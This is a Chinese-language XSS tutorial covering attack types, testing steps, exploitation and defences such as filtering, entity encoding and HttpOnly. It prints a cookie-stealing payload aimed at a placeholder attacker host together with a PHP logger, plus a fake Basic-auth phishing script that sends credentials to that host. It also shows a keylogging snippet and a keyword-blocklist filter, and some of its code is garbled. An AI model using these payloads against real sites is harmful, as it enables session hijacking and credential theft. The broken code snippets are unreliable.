XSS攻擊
概念:XSS攻擊是指攻擊者利用網站程式對使用者輸入過濾不足的缺陷,輸入可以顯示在頁面上或者對其他使用者造成影響的HTML代碼,進而盜取使用者資料、利用使用者身份進行某種動作或者對通路者進行病毒侵害的一種攻擊方式。
實質:跨站腳本攻擊本質上是一種将惡意腳本嵌入到目前頁面中并執行的攻擊方式。通常黑客通過“HTML注入”行為篡改網頁,并插入惡意JavaScript(JS)腳本,進而在使用者浏覽網頁時控制浏覽器的行為。
産生原因:網站對使用者送出的資料過濾不嚴格,導緻使用者送出的資料可以修改目前頁面或者插入一段腳本。
XSS攻擊通常在使用者通路目标網站時或者之後進行某項動作時觸發并執行
根據攻擊代碼存在的地點、是否被伺服器存儲及存在的形式和效果可分三類:
反射型XSS:浏覽器—伺服器互動
将使用者輸入的資料通過URL的形式直接或未經過完善的安全過濾就在浏覽器中進行輸出,導緻輸出的資料中存在可被浏覽器執行的代碼資料(黑客通常需要通過誘騙或者加密變形等方式,将惡意代碼的連結發送給使用者,使用者觸發後才能攻擊成功)
存儲型XSS:浏覽器—伺服器—資料庫互動(可直接産生大範圍危害,具有較強的穩定性)
web應用程式将使用者輸入的資料資訊儲存在服務端的資料庫或者其他檔案形式中,網頁進行資料查詢展示時,會從資料庫中擷取資料内容,并将資料内容在網頁中進行輸出展示,隻要使用者通路具有XSS攻擊腳本的網頁時,就會觸發攻擊
DOM型XSS:浏覽器—伺服器互動(由于構造語句難度較大,比較少見)
是由JavaScript的DOM節點程式設計可以改變HTML代碼的特性形成的XSS攻擊,需要針對具體的JavaScript DOM代碼進行分析,進而利用
漏洞測試
測試思路
1.尋找輸入點
注意網頁中使用者可自行輸入資料的地方,可以通過觀察頁面的互動行為确定輸入點,要求送出的資料量在20字元以上
當輸入點較隐蔽或者被限制時,可以使用Burpsuite抓包,檢視是否含有隐藏參數并定位,進而尋找輸入點
2.尋找輸出點
開始可以利用正常内容進行測試,送出後尋找内容顯示點進而發現輸入參數的具體輸出位置,也可以避免攻擊行為提前暴露。
3.确定測試資料輸出位置
4.輸入簡單的跨站代碼測試
(1)彈窗測試是測試XSS攻擊比較經典的方法,在輸入中插入一段可以産生彈窗效果的JavaScript腳本,如果重新整理後頁面産生彈窗,說明XSS攻擊測試成功
通過JavaScript執行彈窗指令,指令為alert,内容為/xss
<script>alert(/xss)<</script>
(2)當網站背景設定了針對script的标簽過濾時,彈窗測試将會被删除,進而不能達到測試效果
比較進階的方法是識别漏洞的防護方式,并繞過(閉合标簽測試、大小寫混合測試、多重嵌套測試、寬位元組繞過測試、多标簽測試)
XSS攻擊利用方式
竊取Cookie
由于HTTP的特性,Cookie是目前Web系統識别使用者身份和會話儲存狀态的主要方式。
攻擊者利用XSS攻擊擷取被攻擊者的Cookie,僞裝成目前使用者登入,執行惡意操作等,如果被攻擊者為管理者,攻擊者甚至可以擷取Web系統管理權限(檔案修改、上傳,連接配接資料庫等)
跨站攻擊代碼:
<script>
Document.location='http:XXX.com/cookie='+document.cookie;
</script>.
在遠端伺服器上放置編寫好的cookie.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
Fwrite($log,$cookie."/n");
Fclose($log);
?>
使用者觸發攻擊時,攻擊者伺服器中的cookie.php會接收受害者傳入的cookie并儲存在本地檔案cookie.txt中
網絡釣魚
網站釣魚有重定向釣魚、跨架構釣魚等
下面以HTML注入為例,測試發現網站存在XSS漏洞,且沒有特殊字元過濾
構造跨站代碼
</script><script
src="http://www.xxx.com/auth.php?id=yVCEB3&info=input+your+account">
</script><script>
域名http://xxx.com是攻擊者的伺服器,在上邊寫好了auth.php檔案
<?
error_reporting();
/* 檢查變量 $PHP_AUTH_USER 和 $PHP_AUTH_PW的值*/
if ((!isset($_SERVER['PHP_AUTH_USER']) || (!isset($_SERVER['PHP_AUTH_PW']))) {
/* 空值:發送産生顯示文本框的資料頭部 */
header('WWW-Authenticate:Basic realm=" '.addslashes(trim($_GET['info'])).' " ');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
}
Else if ((isset ($_SERVER['PHP_AUTH_USER'])) && (isset ($_SERVER['PHP_AUTH_PW']))) {
/* 變量值存在,檢查其是否正确 */
header("Location:
http://www.xxx.com/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}"};
}
?>
當使用者重新整理時,會觸發之前寫入的XSS攻擊,頁面彈出基礎認證框,不熟悉的人一旦在彈窗中輸入使用者名密碼,就會被攻擊者通過伺服器上的預接收頁面進行儲存,基于XSS漏洞的基礎認證完成。
竊取用戶端資訊
為擷取盡可能多的攻擊者資訊,通過使用JS腳本,擷取使用者浏覽器通路記錄、IP位址、開放端口、剪貼闆内容、按鍵記錄等敏感資訊,并将其發送到攻擊者的伺服器儲存
以監聽使用者鍵盤動作為例,将監聽到的使用者按鍵采用網頁彈窗彈出
構造跨站代碼,對鍵盤點選進行指派并使用alert方式彈出視窗
<script>
function keyDown() {
var realkey = String.fromCharCode);
alert(realkey);}
document.onkeydown = keyDown;
</script>
在送出後重新整理頁面,即可實作XSS漏洞利用
XSS漏洞防護
過濾特殊字元
過濾用戶端送出的有害資訊,防範XSS攻擊
編寫一個較嚴密的過濾函數,将輸入資訊的關鍵字過濾,使攻擊者的跨站腳本不能被浏覽器識别執行
下面是一個比較通用的XSS Filter代碼
function RemoveXSS($val) {
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '[email protected]#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val);
}
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
}
return $val;
}
這段XSS Filter過濾了一些HTML特性、JavaScript關鍵字、空字元、特殊字元,目前很多XSS防護方案采用這段代碼針對輸入資訊進行預處理
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiInBnaukTN0QTM0ETM3AzNwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.jpg)
ps:因為沒學過php,有些函數不太明白的可以檢視XSS Filter代碼分析 幫助了解
使用實體化編碼
HTML實體化編碼
将一些特殊字元進行HTML實體化編碼,當網頁中輸出這些已經被編碼的特殊字元後,HTML源碼中會顯示為編碼後的字元,并由浏覽器翻譯成特殊字元并在使用者頁面顯示,相當于HTML是替換編碼,告知浏覽器哪些特殊字元隻能作為文本顯示,不能作為代碼執行,進而規避XSS風險
JavaScript編碼
與HTML實體化編碼類似,使用者輸入的資訊被嵌入到JavaScript代碼塊中,作為動态内容輸出
采用這種方法時,要求輸出的内容在雙引号範圍内,才保證安全
HttpOnly
HttpOnly是Cookie的一項屬性,如果一個Cookie值設定了這個屬性,浏覽器将禁止頁面的JavaScript通路這個Cookie而竊取Cookie也是XSS漏洞的攻擊方法之一,可以防止XSS漏洞的竊取Cookie行為,但是不能從根本上解決XSS問題
在PHP下開啟HttpOnly的方法:
(1)找到PHP.ini,尋找并開啟标簽session.cookie_httponly = true,進而開啟全局的Cookie的HttpOnly屬性
(2)Cookie操作函數setcookie和setrawcookie專門添加了第七個參數來作為HttpOnly的選項,開啟方法為
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
setrawcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
HttpOnly屬性針對XSS的防護是極其有限的